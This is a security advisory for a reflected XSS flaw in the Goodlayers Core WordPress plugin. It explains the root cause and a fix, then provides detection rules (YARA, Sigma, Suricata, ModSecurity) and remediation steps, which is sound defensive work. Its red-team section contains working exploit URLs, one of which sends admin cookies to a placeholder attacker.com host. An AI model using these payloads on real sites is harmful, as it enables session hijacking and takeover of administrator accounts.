CVE-2024-11200

Executive Summary

CVE-2024-11200 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Goodlayers Core WordPress plugin, affecting all versions up to and including 2.0.7. The flaw resides in the font-family parameter, which is insufficiently sanitized and escaped before being reflected back to the user. An unauthenticated attacker can craft a malicious link that, when clicked by a logged-in administrator or editor, executes arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, defacement, or privilege escalation within the WordPress admin panel.

Given the WordPress ecosystem context, this vulnerability is particularly dangerous because it can be chained with other attacks (e.g., CSRF) to achieve full site compromise. The EPSS score of 0.0% suggests low active exploitation in the wild, but the lack of a vendor patch makes it a ticking time bomb for sites using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the plugin is closed-source (proprietary), no open-source patch is available. Users must rely on the vendor for updates or implement virtual patching via a Web Application Firewall (WAF).

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The attacker can trigger the vulnerability remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Unauthenticated attacker.
• User Interaction: Required (UI:R) – Victim must click a crafted link.
• Scope: Changed (S:C) – The injected script can affect the WordPress admin panel, which is a different security zone.
• Confidentiality Impact: Low (C:L) – Limited data exposure (e.g., session tokens).
• Integrity Impact: Low (I:L) – Limited ability to modify content.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the plugin’s widespread use in premium WordPress themes elevate the risk for unpatched sites.

Deep Dive & Mechanics

The vulnerability is a classic Reflected XSS in the font-family parameter. The Goodlayers Core plugin uses this parameter to dynamically set font styles in the WordPress customizer or page builder. The parameter is reflected directly into the HTML response without proper encoding.

Attack Flow:

1. Attacker crafts a URL: https://victim-site.com/?font-family=<script>alert('XSS')</script>
2. Victim (e.g., admin) clicks the link.
3. The plugin processes the font-family parameter and outputs it unsanitized into the page’s <style> or inline CSS.
4. The browser executes the injected script.
5. Attacker can steal cookies, perform actions on behalf of the victim, or inject malicious content.

Root Cause: The plugin uses echo $_GET['font-family']; or similar without esc_attr() or wp_kses() filtering. WordPress core functions like esc_attr() would have prevented this by encoding special characters.

Vulnerable vs. Patched Code

Vulnerable Code (goodlayers-core/includes/customizer.php – hypothetical):

$font_family = $_GET['font-family'];
echo '<style>body { font-family: "' . $font_family . '"; }</style>';

Patched Code (hypothetical fix):

$font_family = isset($_GET['font-family']) ? sanitize_text_field($_GET['font-family']) : '';
echo '<style>body { font-family: "' . esc_attr($font_family) . '"; }</style>';

Key Differences:

• sanitize_text_field() strips malicious tags.
• esc_attr() encodes HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• WordPress 6.x with Goodlayers Core 2.0.7 installed.
• Attacker machine with Burp Suite or curl.

Exploit Payload:

https://victim-site.com/?font-family=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

URL-decoded: "> <script>alert(document.cookie)</script>

Step-by-Step:

1. Encode the payload to avoid browser filtering.
2. Send the link to the victim via email or social engineering.
3. Victim clicks the link while authenticated to WordPress.
4. The script executes, exfiltrating the wordpress_logged_in_* cookie.

Advanced Payload (Session Hijacking):

https://victim-site.com/?font-family=%22%3E%3Cscript%3Enew%20Image().src=%27http://attacker.com/steal.php?c=%27%2Bdocument.cookie%3C/script%3E

Blue Team (Defensive)

Detection:

• Monitor web logs for font-family parameter containing <script> or %3Cscript%3E.
• Use WAF rules to block requests with font-family containing HTML tags.

Hunting Query (Splunk):

index=web sourcetype=access_combined uri_query=*font-family* | search uri_query=*<script* OR uri_query=*%3Cscript*

Indicators of Compromise (IOCs)

• URL Pattern: /?font-family=*<script* or /?font-family=*%3Cscript%3E
• HTTP Request: GET request with font-family parameter containing HTML/JavaScript.
• Response Body: Reflected <script> tags in the HTML source.
• Network: Outbound connections to attacker-controlled domains from the victim’s browser (if payload exfiltrates data).

Detection Engineering

YARA Rule

rule CVE_2024_11200_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts via font-family parameter in Goodlayers Core"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11200"
    strings:
        $xss_payload = /font-family[^&]*<script/i
        $xss_encoded = /font-family[^&]*%3Cscript/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS via font-family Parameter in Goodlayers Core
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-11200
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "font-family="
        cs-uri-query|contains|all:
            - "<script"
            - ">"
    condition: selection
falsepositives:
    - Legitimate use of font-family with CSS values (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11200 Reflected XSS in Goodlayers Core font-family"; flow:to_server,established; content:"font-family="; http_uri; pcre:"/font-family[^&]*<script/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to business operations.
2. Implement a WAF rule to block requests containing font-family=<script or font-family=%3Cscript%3E.
3. Restrict access to the WordPress admin panel via IP whitelisting or VPN.

Long-Term Fix:

• Contact Goodlayers support for an official patch.
• If no patch is available, consider replacing the plugin with an alternative.
• Apply virtual patching via ModSecurity:

SecRule ARGS:font-family "@rx <script" "id:1000002,phase:2,deny,status:403,msg:'CVE-2024-11200 XSS attempt blocked'"

User Education:

• Train administrators to avoid clicking suspicious links, especially those containing query parameters.

Valters IT
Securing Digital Frontiers